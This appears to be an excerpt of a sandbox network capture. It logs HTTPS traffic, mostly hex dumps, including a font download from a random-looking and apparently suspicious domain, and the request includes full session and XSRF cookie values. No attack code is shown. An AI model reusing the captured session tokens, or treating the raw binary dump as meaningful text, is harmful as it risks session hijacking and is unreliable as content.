2025-03-26 21:11:19 UTC	1369	IN	Data Raw: af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 62 3c 2c 78 9e 9a 82 8b e1 e3 29 f6 84 63 bf 87 74 85 01 a3 6b 16 0e 86 39 ba 09 6f 1e 54 89 f1 52 39 d1 f2 8a 9e 6b 71 93 de 54 52 25 55 f2 d4 76 a3 f6 f9 a5 72 13 5f 92 92 e2 c3 0a 13 44 ba fc 14 66 b2 84 3d 71 48 da a1 bc c4 38 df 90 3c af 1d 07 78 08 c2 28 56 98 49 b2 68 94 4c 33 2a 23 5d 38 89 e2 09 2d 94 7a 94 9c df 03 ae e5 f7 8f 17 33 91 39 56 c4 93 99 be b4 14 f9 8b 98 1e c3 96 75 bf 15 1a a7 e4 0e ea f3 ed 78 b2 b6 f2 cb fa 53 5f ea 1d ff 5c 31 f0 f2 8c ca 26 36 ed e1 bc bc ff 6a 5e da 03 c4 63 3b 28 29 6d c4 4a 9d f5 c4 17 02 3e af fa aa 97 78 7a b0 ea 59 a2 bf ed 7c c8 37 Data Ascii: m,}h>(=[m/>8&f&]u&VD]<yReb<,x)ctk9oTR9kqTR%Uvr_Df=qH8<x(VIhL3*#]8-z39VuxS_\1&6j^c;()mJ>xzY\|7
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 2a 85 63 f9 a2 8d 64 ff b1 1a 3c 3d 8f 37 0e 3e d9 0e 44 66 41 90 c1 c0 1f 61 26 59 35 9d ce fc 85 47 48 9c dc 58 77 25 09 a5 15 5f 9a 11 1f 54 24 c2 22 11 1e 1e ec 77 dd f6 24 8a 23 a4 3e ee be f6 9b 95 04 2c 60 ba e4 bf 52 71 1e dd 2a 54 ea 34 59 ab a2 82 d2 3a 27 10 31 3a 48 2b 34 e8 5e c7 7b bf 7b c8 65 ff 42 cf bd bd ab ef b8 b2 97 ef 69 4a a4 41 10 31 c6 50 bb 1f be 4e e2 cd 9b d1 0b fa 4b 4f a4 c1 39 b1 d6 36 7e db fb f5 cd a9 82 cc dd 47 43 9a 20 e1 12 24 14 22 52 b8 85 38 22 8e a4 7b 76 f7 f3 d9 17 d6 f7 fc fe f9 d7 29 e7 7b 98 f3 bc db 98 3b b6 aa aa a8 aa a8 88 25 a2 ea 3b df 32 94 7c ed 9f f6 6c ef 21 73 f4 4a bb bb 26 84 c1 18 21 1e e6 21 84 0f 9b 2b 82 1a 77 af 35 6c 48 69 09 35 4a 24 75 82 dc 7e f1 b2 cd 6a 29 3d 11 8f 92 dd 10 05 7f bc 6f Data Ascii: cd<=7>DfAa&Y5GHXw%_T$"w$#>,`RqT4Y:'1:H+4^{{eBiJA1PNKO96~GC $"R8"{v){;%;2\|l!sJ&!!+w5lHi5J$u~j)=o
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 2a 39 56 66 15 56 63 0d d6 f1 df e0 d4 c1 bd ef 30 01 c5 7f 4b d3 80 08 2e 94 c2 60 c4 f5 1e c7 c1 b8 85 e0 63 f2 fc 21 17 35 5f a4 a7 ad c0 72 cd f9 6e a8 6d 5e 74 02 56 69 66 63 5b 99 97 7c 2c fd 27 61 c8 ae 40 18 e6 df aa 18 25 6e 94 42 80 07 20 2d 08 b1 93 c5 85 92 ca 74 24 c9 29 cb 80 39 2f 50 9a 2f 68 40 1a 7d 11 88 e5 e3 a4 75 80 dc c4 20 d0 83 46 5b 06 ed d9 92 51 34 05 42 e1 1d 06 d4 cc 4f a7 f3 a8 86 14 ca 37 c2 01 b0 1d 64 67 70 c8 e6 3d 82 39 11 ef 09 cd e3 90 81 38 bc 6e d5 36 b0 30 b7 3e 73 33 bc 8a 90 c1 04 4a dc 88 5d 38 67 02 e8 f9 c8 ee e9 ce ef 51 a3 39 c0 26 c4 d8 a7 93 2b e3 36 6f b5 c5 68 7d 8c 94 c3 4b e0 ec cc 9d d2 67 95 c6 4a 2e 43 fd 67 14 df 88 78 3e 8e cb 57 e9 89 c3 1f 96 b3 87 8b 11 33 06 11 34 6b 22 26 55 c5 d6 a2 ea 59 69 Data Ascii: *9VfVc0K.`c!5_rnm^tVifc[\|,'a@%nB -t$)9/P/h@}u F[Q4BO7dgp=98n60>s3J]8gQ9&+6oh}KgJ.Cgx>W34k"&UYi
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: ad e6 33 84 88 c8 16 60 76 da 7a a0 61 23 1a 24 e2 8f ce 7f 13 bb a1 3d 21 b6 2b 7d ac 76 c8 d7 02 73 06 b5 db d0 49 22 32 49 bf 10 bc a0 d8 9c 34 99 2c 33 d6 72 e1 d2 df 5e 42 a9 8e 7b bd 96 31 a6 4d de a7 62 9b cc 63 9d c6 f1 2f 34 7d 54 e7 b4 4d c7 fa 6c 99 5d 33 da 4c 77 c2 3a 92 a4 64 ed 0b e8 55 62 22 33 fc bb a8 df cf da 1f 54 fe 3f df c2 9f fa 55 eb f3 2f fb 3f 6b 42 80 e6 dc c4 5f d1 c9 e3 66 b4 c7 ea be 1d ac ee 83 8e 1b 6e 8e ad e6 bf 68 8b 30 29 a2 ef ac 6e fe 44 d0 f2 a5 17 56 22 31 26 d0 d2 6d a3 bb 17 9d 73 39 f5 89 d5 38 e0 ef 35 50 6a bd d3 68 98 1c 7f 67 c2 aa e8 a1 96 8b d8 a4 bd 9e 7c 39 3f 4f c8 a7 12 23 ec ed 11 e2 58 6c 9b 9a a1 7a 4c a7 11 3d 93 cb 1a 4c d6 56 ca 7b d7 cc 70 24 8f 19 f8 91 9b ae b0 2b 74 9c 0d c7 6e 45 bd ad 63 20 Data Ascii: 3`vza#$=!+}vsI"2I4,3r^B{1Mbc/4}TMl]3Lw:dUb"3T?U/?kB_fnh0)nDV"1&ms985Pjhg\|9?O#XlzL=LV{p$+tnEc
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: dd f3 ed a8 cf 9d e3 87 b5 d2 33 45 3d 60 68 ca 13 74 8d a8 cd c7 ac 4b bc db 69 e7 25 31 fc e9 40 8d 94 e5 4d f5 ad 81 68 83 eb e8 05 23 03 df f5 fe 06 36 b5 c7 3a 22 04 d7 4e b9 cf d6 7e 51 66 42 4f af b5 64 c4 77 d5 ac 8b 72 c5 c6 e8 da 2f 45 53 1b 5e 36 bf b9 57 f3 0c 9b a7 79 98 43 e9 85 ab 31 07 50 d2 b9 fc f2 4c 58 6f d0 0e 04 fe 5e 10 f2 a5 62 4a 03 ae f5 23 0e a0 dc 11 5f 81 1e 73 b5 7b 39 53 f6 0e a9 9c 61 b4 08 19 a0 37 a3 b3 d1 64 42 58 af 6d b4 58 b0 25 ed e0 2e 67 1a 38 ca 4f ab 6d c5 9d 35 42 5e 54 6b 53 6a da 0c 6e 36 4d af b5 37 f9 5c b6 40 5b 76 29 54 f2 59 8f 3d f3 a5 86 3a 75 01 84 29 72 e0 63 68 d6 c8 ba 8a 3f d4 d9 56 7c 70 6c 59 66 f4 6d 5c cc 9e a2 13 3d b5 d1 e2 c1 14 a1 a4 bd 58 c0 cd f9 49 38 5d 1b e0 c7 3e 80 db 57 d8 d0 f7 34 Data Ascii: 3E=`htKi%1@Mh#6:"N~QfBOdwr/ES^6WyC1PLXo^bJ#_s{9Sa7dBXmX%.g8Om5B^TkSjn6M7\@[v)TY=:u)rch?V\|plYfm\=XI8]>W4
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 94 0a 99 65 f6 21 e8 7e 13 d1 ac 11 91 24 f6 1f ff 72 06 c6 c0 fa ed 9c 1c 7d f4 0c d2 d3 70 bc 97 db 6f b1 25 df 73 6b 4b 9b 6f 58 85 19 04 fb ee 8a f8 5e bf d7 b7 51 00 f1 b3 57 23 59 2e 77 0d f4 d4 fc 07 b6 eb 05 61 4b 8f 5a 69 5f 3f 47 81 2d dd 92 6b bd 6b 22 2b 98 d4 8f e4 e9 b1 30 e8 a1 ef f4 f7 86 b3 0e 29 d8 19 de e0 eb f9 a7 c6 a9 6c 9d 52 a2 a4 d8 95 ec 1d d9 5a e9 cf 87 7a 12 ff cf f2 c9 76 7e e8 a4 ba b1 b6 d1 ee e0 7a 6f e0 85 92 f6 20 63 59 69 56 e6 b3 2a dd e1 fb 92 29 89 1f d5 9b 49 97 d7 9b e9 9f a6 2b 09 6d e5 0d 86 58 5d fc e5 38 51 16 3b ad f1 91 74 dc 2c 3d 43 ce b0 07 c9 31 8e e0 3d 9f d5 dd 53 e1 45 a4 70 60 88 7d f4 f0 c9 ce e9 3c 80 df d7 78 30 94 d8 36 05 db e0 5a 22 20 14 60 19 dd f7 b3 b4 bd 5f 75 e5 6b a0 e7 ef 7e 7d d8 73 30 Data Ascii: e!~$r}po%skKoX^QW#Y.waKZi_?G-kk"+0)lRZzv~zo cYiV*)I+mX]8Q;t,=C1=SEp`}<x06Z" `_uk~}s0
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: c2 d2 34 d7 64 e3 f9 ac 98 ff 3a b4 82 89 8f 6e e2 7b 95 55 6b 5d 9c cb f6 08 a5 23 7f ed f7 4e 66 a8 e5 0a f9 d5 c5 a9 c7 23 63 4f 93 1d bf 47 04 43 fb 82 87 2a 48 c7 8f d1 c3 39 c5 a6 73 dc 75 9e ee e5 63 68 f7 63 e3 75 2f 53 26 0b a9 87 9d 72 2c d1 e7 f6 b1 d4 a1 7c c2 a2 da 8a 7c 3f b9 20 fe 3a 8d 43 33 1b ab d4 f5 6d 4d c3 e2 dd 36 ee 35 62 69 95 22 f0 46 f8 d9 7a 68 37 a5 a8 21 6e b5 b2 92 5f 40 ab 16 92 96 5b e2 15 6e 46 29 46 b7 00 4f 05 6e b1 9b fa f9 5a cb 80 d9 34 ac 08 96 d6 da 40 6d 7b 3f f8 24 61 96 de 62 e5 00 a4 59 3c a2 bd a6 1e 75 01 cd 9c 00 1f 0d c7 da 08 15 91 3f d2 c4 4f 7f c1 0d 6c 0a 22 cb 59 c2 51 e4 59 52 b4 8c ef 09 b2 25 0c b9 b2 75 36 d6 a1 d6 98 53 0f e7 62 e9 dd f0 9f 66 d4 22 1b 6b 13 ea f6 c1 6d 7d 2a ba 94 7c f6 e9 dd fc Data Ascii: 4d:n{Uk]#Nf#cOGCH9suchcu/S&r,\|\|? :C3mM65bi"Fzh7!n_@[nF)FOnZ4@m{?$abY<u?Ol"YQYR%u6Sbf"km}\|
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 29 22 b8 24 35 14 3a 75 20 9b b0 dd 0e 33 56 08 34 0b c9 ab 60 21 06 9f 15 10 0a 11 56 b6 61 9b a3 60 19 bd 82 2f ef c3 27 94 de ec ac 7c 55 54 c1 6a 83 d9 78 80 42 b4 21 58 23 ee bd fb 0a 3c f6 0f 28 19 2d 72 45 2f 9d 7c c7 ad 83 d8 2f 0d 8f 8c 1e f3 0b 28 e3 21 4d 8f fb ea 20 10 30 08 28 18 b0 44 f7 bf 00 88 20 61 11 d1 62 c4 ba f7 8a 41 c1 e1 43 42 87 c9 3d 6c 7b 81 47 00 38 11 5e 87 bf 23 b8 f0 b5 38 9c ef ea 0c ae 85 bb ad d9 82 3b e8 87 fa ef ed 3d c0 a3 eb 3f 0b b7 80 4d ef 65 b7 82 c3 97 dd 06 3e bc 8c 32 b8 6e 01 00 00 00 0d 47 0c ca 60 3c 20 d5 88 13 d9 02 c9 08 14 13 80 6e 8b 60 31 74 c6 dc 8c db d7 e9 d4 6a dc 38 9e 1a bf 1e 5f 00 01 05 55 88 89 bf ca 0c 2c 3a b7 0d 0a 83 0a d2 de 02 4a df 91 b3 2b 6d b3 43 b5 a5 48 08 52 40 cb a8 7f 90 13 46 Data Ascii: )"$5:u 3V4`!Va`/'\|UTjxB!X#<(-rE/\|/(!M 0(D abACB=l{G8^#8;=?Me>2nG`< n`1tj8_U,:J+mCHR@F
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: ff 97 30 bd 8c 36 64 28 f0 06 00 f0 f4 eb 01 e0 3a f0 a8 7c e2 2f 37 5c 00 8e a5 ab fe c8 4d 7e f8 24 cc da 65 7a 3b ea 60 78 86 ff b3 c6 4f 36 07 f0 1a 51 20 a0 99 2b b4 a0 13 bd 18 20 6b 45 56 76 cd d7 7a ed d7 c7 ba aa 3b b1 b4 64 a3 7a aa 0f 66 70 46 7f 21 15 af 12 d9 74 5e ed 72 69 d8 84 35 5b ae ba 2b fa 7d 68 88 d0 99 2c 36 2d b4 e3 a4 1b 8f 95 8e bb 7f 97 86 e2 ba 5c 5f 5c df 69 51 46 4e 6c 02 f0 b1 d8 e7 2b 8e a3 a9 3f be b2 11 27 f6 00 43 55 69 d3 a5 df 48 6c 3e eb b5 05 1b 3e ba b4 16 0c 1b 33 6e 8c b6 ef fe ea b0 51 5b 67 5b ed 66 bb c5 76 da fd f6 d8 d0 81 a1 a3 43 33 b6 8e 1c 8d 18 91 60 24 d2 66 95 22 dd f3 ef ac 3b 07 1e e5 27 52 13 68 c6 e2 f5 de f1 3b 8f f0 81 ef 71 fe f1 fd 49 ba 7e 09 cf 1d a4 7f fa e7 21 f4 b6 ef 13 3a 82 ff 4c fc 0f Data Ascii: 06d(:\|/7\M~$ez;`xO6Q + kEVvz;dzfpF!t^ri5[+}h,6-\_\iQFNl+?'CUiHl>>3nQ[g[fvC3`$f";'Rh;qI~!:L

Timestamp	Bytes transferred	Direction	Data
2025-03-26 21:11:19 UTC	1389	OUT	GET /GDSherpa-vf2.woff2 HTTP/1.1 Host: nvgy.zonqdkqezktw.es Connection: keep-alive Origin: https://nvgy.zonqdkqezktw.es sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://nvgy.zonqdkqezktw.es/royrhenxvzfixwzowxlvzgogwieuwutxvkqbbrhrmfxtrzifjhsic415qkjlmkzw90f?WFIJKNWOTPMLPZJ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImNVTG5Tbkp0NWFSQWsvc3VEcTVMbXc9PSIsInZhbHVlIjoiMytVQ0pUckV4dGpqK0h0YTMwQzNDQzF0SjRabnQvOFhSYktQc0FKRFhLbFdtT01sRW4zanNMNUx6a2YxOE1XdDBqV0xvd2VaRElvbUV1aE1nVmg5aFJKTWdteWdtc3NNb2EzK2IwQVczb2x4eXZXbEsvc1FERW5PVEdnZzBieHoiLCJtYWMiOiIxMTE3Mzc5YjhmMGVhNjZkMDVkMzdjMjMwMWY0MDU2MDA2NDQ4ODhhNDg1ZmYzZGRhMDliNzBiMWVmMWNhZmYxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imc0VW4zLy9pa0QrSHNzQUVEWlJvaHc9PSIsInZhbHVlIjoiQmRlZUdxbUFWbUhkeEY2U3YvVDdVZkV0ZERMMCtHR3d2QnVOdEVPNTdZekZIRlY3b08wU0xsZFFodVlVdFZoTFozZWM0clFJK0dqK2pUMEV3QmJqcktFNGwvdlhKeEd0aG5IbGgzUnZWN2hjNlhQM0tKTkYvekExV2llVllobGwiLCJtYWMiOiI1MmU4MzI4YmNjZTY5ODY3YTY2N2E1MGFiZjVmOTBlMmZmMThkNmQ5NGNiNDhhZGYxNmY3OWUyMzRhNmI2NTc0IiwidGFnIjoiIn0%3D
2025-03-26 21:11:19 UTC	1171	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 21:11:19 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="GDSherpa-vf2.woff2" Age: 1757 Last-Modified: Wed, 26 Mar 2025 19:16:54 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Gc5sLxxbeLA1yjZA%2BVdk0h0Jbl1yXzBn35R50NxJd7GmXKDxHCkDrpB39SIJmyjh4OuMY58SeyUPVfhDOLLFk31%2F2n0wu0f11JEaax1F96SqSpE1H%2Bse0GUUpqUvBESXv%2BH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=315&min_rtt=300&rtt_var=112&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2377&delivery_rate=10531250&cwnd=252&unsent_bytes=0&cid=00e6960e32d11367&ts=17&x=0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Server: cloudflare CF-RAY: 9269a3cbcab91016-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=89690&min_rtt=89621&rtt_var=19010&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=1961&delivery_rate=34026&cwnd=252&unsent_bytes=0&cid=ae441b7f53119aed&ts=204&x=0"
2025-03-26 21:11:19 UTC	198	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 ea 01 a9 6e cf 19 c7 21 ef 85 0b 87 09 13 e9 52 7d 47 4c 0e c3 35 6e 21 02 bb de e5 5e e4 9b b2 cb 49 10 e5 82 c3 41 89 fa 8c 03 e7 80 55 08 8a bb 2c 26 bf 84 75 7a a2 bc 81 1a 45 7f 52 ae 4b 2f 47 4c d1 0e eb 23 c5 82 f2 55 13 14 41 38 25 09 72 64 c4 d3 45 2c 7d a1 88 b0 27 65 e7 c3 80 f1 75 10 eb 82 33 17 64 44 9a 0c d1 e1 7d c8 bc 9f 3a ee fe 30 9b 61 ba 8a 23 4f 38 bb 7c c4 37 ee e8 7b dc a7 7d 85 6f 10 dd 17 fe 9a bf 28 bc 44 dc 91 8f 48 58 1f 0d d2 77 aa 3b 46 e2 0a 17 67 b8 2b 17 f1 1e ee 98 67 0e 78 af ae 2c af 40 7e 3c cf 4b ce cd d7 94 da c8 d9 5a 4a 77 dc 1e 1c e6 94 fa f2 5e Data Ascii: DEviQF8iH!rP4Z[Zsor8bOn!R}GL5n!^IAU,&uzERK/GL#UA8%rdE,}'eu3dD}:0a#O8\|7{}o(DHXw;Fg+gx,@~<KZJw^
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 2a 39 05 0f 51 13 a8 6a 95 66 57 57 f5 ce 3d 80 89 09 a1 c5 40 df 48 36 81 26 dc dc 00 be 84 1a 10 87 78 f8 77 ed 73 5e 32 f0 61 76 b7 80 28 01 65 7b 7c 25 2b 16 3a f9 b3 aa 42 55 38 95 6b e1 1a 39 c9 03 82 2b 28 62 54 e4 2a b3 77 9b e4 02 05 b6 7d 55 62 5f 4d 28 19 54 d5 53 a1 fe 7f af 9b 27 1d 42 5e 8a 2a 4d 61 f7 78 4a d7 99 24 18 8f 95 38 f5 77 78 da 56 ff de 0c cc d0 da 7b 5b e9 66 5e ed 60 5c 44 fd fd 51 cd 63 86 92 30 41 0c 10 03 14 29 89 14 10 8c 5a d7 55 37 4a dd a8 73 23 2f b7 5c a6 f3 78 cf 08 c4 90 6e f8 fc cf 99 19 00 3e 7f 6a 6a 0a d8 4e 4e 48 14 16 00 83 f8 39 50 48 53 c0 cb 41 71 40 9e 58 9d 50 6b 7f 80 7e 86 29 43 64 38 04 73 eb ac 0f ab 51 b2 25 63 2c 93 45 b3 66 1b 63 c9 d8 46 f4 18 25 51 23 86 44 0a 4a 98 88 51 98 f9 7e 94 be cf b7 5f Data Ascii: 9QjfWW=@H6&xws^2av(e{\|%+:BU8k9+(bTw}Ub_M(TS'B^*MaxJ$8wxV{[f^`\DQc0A)ZU7Js#/\xn>jjNNH9PHSAq@XPk~)Cd8sQ%c,EfcF%Q#DJQ~_
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 35 a9 4d 6e b5 2e 28 ac c0 80 33 ab 00 bf e8 a9 d3 90 e6 05 8a fa 5a 4f 65 65 dd 26 71 26 aa 9e 8a 69 21 f1 26 a3 0b 8e ba 51 d4 2b 0a c0 ac 4e 83 df fb a1 5c de df c7 84 01 fc 85 d9 d5 02 79 f8 fd 64 32 f8 09 c2 23 f7 e2 70 d1 d1 c9 3b f3 0e 00 18 00 94 f8 6a dd 3a 62 8a c5 68 b4 dd 4e 26 7b bd 74 7a 30 c8 e7 c7 63 6d a6 d3 6a 75 b1 68 36 d7 eb b0 6c b7 c3 21 4d 7b c3 b2 f3 b9 20 ac 56 b2 5c 90 e5 a2 aa 00 e8 3a 18 c6 c6 b2 78 1e 42 51 74 9c e2 dd 8e 82 31 b9 81 40 3c fe 02 45 0b 86 21 08 49 2e a4 52 50 d4 64 18 1c ef 93 20 58 56 85 e7 d3 69 41 08 42 81 b3 59 8b 28 72 9c 24 59 96 17 e7 72 37 aa 5a f2 79 45 29 30 28 72 4a 82 92 40 4a 94 b2 d6 60 cc 61 2e d7 35 c5 39 6b bd 1f 84 70 04 f9 eb 29 3e 3a f2 e6 70 d0 42 8c 29 7d bf fc 53 55 08 71 64 b7 f5 76 7e Data Ascii: 5Mn.(3ZOee&q&i!&Q+N\yd2#p;j:bhN&{tz0cmjuh6l!M{ V\:xBQt1@<E!I.RPd XViABY(r$Yr7ZyE)0(rJ@J`a.59kp)>:pB)}SUqdv~
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 28 e6 dc 0c 8d 8b 6b 71 a8 9b 77 7a 33 d9 37 4e 87 54 8f a3 7f 40 63 04 55 47 4a 1a b8 76 82 18 e2 be 7f 98 5c 6f cf 48 b0 3e 7a 74 20 6e 6a 3a c7 a8 26 89 dd 9c ce 4a 89 29 b5 84 28 8d e8 42 8d cb 52 2e e7 b5 55 fc e7 e4 60 b1 88 1c 02 a2 4c ad e2 4a c0 a7 71 de f5 83 2c 93 d1 af ba 96 1a ac d4 fd a9 01 f2 00 e4 f3 c9 4b c9 31 22 75 bc 5f af 93 71 45 48 68 20 6a ce 87 d4 5e 6d c8 92 b3 9b 33 02 45 51 e3 91 59 f6 88 6e 11 41 c9 51 d4 07 af b7 01 06 c8 6a c4 96 af dd 69 f0 0f d8 2a e2 6c 0f 28 6b 62 73 c4 d9 65 0c f8 d4 d4 09 f8 01 4f de 00 9e 3c 65 77 fb 95 b2 51 cd 5a 2d 2b f5 cc 75 78 4c af fb 96 83 c8 47 b6 7e c9 c9 31 e8 2e 43 ee 30 e2 88 71 87 4c 38 68 ca 7e 33 f6 9a b3 db 82 9d 73 49 48 dd 97 33 02 6c b7 62 eb dc 50 aa db df 51 37 61 c3 6d 2b 1f 89 Data Ascii: (kqwz37NT@cUGJv\oH>zt nj:&J)(BR.U`LJq,K1"u_qEHh j^m3EQYnAQji*l(kbseO<ewQZ-+uxLG~1.C0qL8h~3sIH3lbPQ7am+
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: ed cd 08 ed ef a6 7b f5 a5 11 d5 df 27 49 0d 46 28 05 81 61 25 a2 5d a6 81 69 5c c2 02 08 27 52 07 15 bd 8f 9d f8 5b 07 70 bf e6 cd 17 08 28 e0 26 fd 17 dd 73 03 02 74 77 7f 99 04 23 6d 76 0d 32 11 48 04 00 7e 05 4e 0d eb 27 75 3c 6c 2c 6c c3 77 3b c3 70 2f 60 4d 31 dc 0b 04 77 e6 7c 3e 08 bf d8 ae a8 6d 33 4b 77 ab fe 6d 4b 26 9b 99 f5 f8 32 b7 6b 0f b8 bf 83 50 1d ee 08 8b 97 e8 34 77 fc e5 f1 38 0e 97 80 b0 b2 db a3 1e 8d 47 d2 b7 45 f8 ab ba 35 d4 b0 2d 4c f4 7d fc f3 6d 4d 5e 76 d5 64 74 6e 2f 82 b1 f0 ba 4b d3 55 ea 85 b5 62 be 83 e1 69 86 6a b8 c8 8b c1 5a 4a a7 c5 11 6f 33 73 2e f6 36 fe aa 50 09 03 a4 df ff 20 62 90 9f 7a 3c 54 2d ee db 6f 86 1a 42 b8 06 61 c8 b8 4c 63 74 4b 67 b7 25 94 42 e4 80 77 f2 e4 71 78 aa 0d 93 d0 11 8b 6c 8e 39 7b d9 62 Data Ascii: {'IF(a%]i\'R[p(&stw#mv2H~N'u<l,lw;p/`M1w\|>m3KwmK&2kP4w8GE5-L}mM^vdtn/KUbijZJo3s.6P bz<T-oBaLctKg%Bwqxl9{b
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 4c 74 60 f2 e6 2d 6c b4 45 da 30 62 bf 2b eb e8 28 0f a3 1a ca 78 d7 62 9b 53 26 cb f2 94 82 52 db 64 9b 90 ef f0 56 d4 b5 db 01 43 9d 8a b5 f0 fb a2 ac 59 d4 56 bf ab 5c 03 37 ed 95 d2 73 b7 fe 81 58 e0 38 ed af 97 31 12 0c 48 e1 f9 c9 a4 05 3d 65 49 26 ef b5 8a d8 5c c1 66 d9 9b 7f 4a 61 a4 ad 89 d2 bb 3a 50 80 24 57 2b 3c 37 75 4a a4 39 6c fd 00 ea 85 4e 3b d1 c2 7d 2a 16 aa 37 04 44 84 b4 15 68 36 d7 58 3c c7 7b 64 ad 83 d4 40 7b ae 43 1d 30 a1 9f dc 34 b4 b9 58 af 48 29 03 7d 8d e5 0a e4 80 1a 54 40 49 9e d6 ed 54 8c 1a 33 b6 75 12 46 2c f1 86 29 13 ec b0 ac 2e 4d 03 ff e1 d0 5e e0 b6 1f 78 4e e1 05 af 16 7e ae 78 b5 5c 88 e9 3d 2f aa fc 1c 9c 77 84 19 8f 32 b7 b3 ad 8a e3 ba 21 3a 1e f6 66 ed 44 5f 78 88 5b cf 4e f3 b8 70 1e d3 ed 25 43 1a e8 25 13 Data Ascii: Lt`-lE0b+(xbS&RdVCYV\7sX81H=eI&\fJa:P$W+<7uJ9lN;}*7Dh6X<{d@{C04XH)}T@IT3uF,).M^xN~x\=/w2!:fD_x[Np%C%
2025-03-26 21:11:19 UTC	1369	IN	Data Raw: 01 54 a9 4f 78 58 89 b1 c4 0c e1 5d b5 49 e5 51 2a 48 9b c0 e8 a6 25 b9 05 ab 5e b1 cc e9 b5 05 00 be 89 33 a2 88 a1 ef ad f7 2b 65 ce 62 9b 09 89 62 ce cc 8e 62 9b 7e 09 fd ba 9f 54 dc 68 3b 09 0d 48 30 b4 aa f6 37 ec 1d b1 56 da 1c 80 5e 6b 61 1a 3d f7 6a 85 cb 7d 36 b4 33 47 16 4a 86 79 29 a7 b0 5d cd ca ec 3d 02 27 36 a9 9e 9c 91 a0 c8 7e d0 77 09 b5 6c 85 91 57 85 bd 0f 93 70 89 ba a1 2c 89 43 4c e9 1a c6 79 86 00 17 c2 d5 04 6d dc 34 d6 3d f3 a3 ed f9 e1 93 87 26 87 2a 6a d6 2e 84 e4 84 a0 1c 47 71 9c 6a 88 71 eb 87 be 57 98 bd a7 03 58 ba 74 ae dc ed 27 ae 86 3b 8b 11 4e c2 ad d0 7f 0e 40 70 00 c2 f9 c0 06 82 1b 3c 78 e0 c5 97 fd 66 69 01 42 20 c2 b0 11 01 04 06 1b 38 2c 04 20 a2 f0 42 22 48 0c 2e 68 60 58 a0 38 e0 78 70 84 f0 36 2b 92 20 c4 c9 59 Data Ascii: TOxX]IQH%^3+ebbb~Th;H07V^ka=j}63GJy)]='6~wlWp,CLym4=&j.GqjqWXt';N@p<xfiB 8, B"H.h`X8xp6+ Y
